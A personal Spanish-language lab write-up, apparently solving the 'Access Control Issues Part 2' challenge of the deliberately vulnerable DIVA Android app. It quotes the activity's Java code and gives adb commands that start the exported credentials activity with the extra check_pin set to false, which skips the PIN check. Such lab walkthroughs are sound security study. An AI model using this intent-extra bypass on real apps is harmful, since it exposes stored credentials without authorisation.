Skip to content

10- Access Control Issues - Part 2

Pasted image 20260827184545
java
public class AccessControl2Activity extends AppCompatActivity {
    @Override // android.support.v7.app.AppCompatActivity, android.support.v4.app.FragmentActivity, android.support.v4.app.BaseFragmentActivityDonut, android.app.Activity
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_access_control2);
    }

    public void viewAPICredentials(View view) {
        RadioButton rbregnow = (RadioButton) findViewById(R.id.aci2rbregnow);
        Intent i = new Intent();
        boolean chk_pin = rbregnow.isChecked();
        i.setAction("jakhar.aseem.diva.action.VIEW_CREDS2");
        i.putExtra(getString(R.string.chk_pin), chk_pin);
        if (i.resolveActivity(getPackageManager()) != null) {
            startActivity(i);
        } else {
            Toast.makeText(this, "Error while getting Tveeter API details", 0).show();
            Log.e("Diva-aci1", "Couldn't resolve the Intent VIEW_CREDS2 to our activity");
        }
    }
}

Si decimos que ya estamos registrados, podemos ver las creds directamente

Pasted image 20260827185106

Si tratamos de replicar lo de la anterior actividad

bash
adb shell am start -a jakhar.aseem.diva.action.VIEW_CREDS2
Pasted image 20260827185432

Podemos llamar a la actividad porque tiene <intent-filter></intent-filter> y no tiene exported="false" pero nos salta la pantalla del pin, por lo que no vale para mucho.

Ahora bien en el código, se declara el botón:

java
RadioButton rbregnow = (RadioButton) findViewById(R.id.aci2rbregnow);

Si está pulsado se pone a true chk_pin

java
boolean chk_pin = rbregnow.isChecked();

Y se envía como un extra en el intent (dato adicional):

java
i.putExtra(getString(R.string.chk_pin), chk_pin);

Entonces básicamente se inicia una actividad con un extra.

Podemos enviar las dos cosas nosotros desde fuera?

Sí.

bash
adb shell am start \
  -a jakhar.aseem.diva.action.VIEW_CREDS2 \
  --ez check_pin false
  • --ez <clave> <valor> → extra tipo boolean (ez = extra boolean). Otros tipos: --es (String), --ei (int), --el (long), --ef (float)
Pasted image 20260827192342

Notas personales de seguridad ofensiva.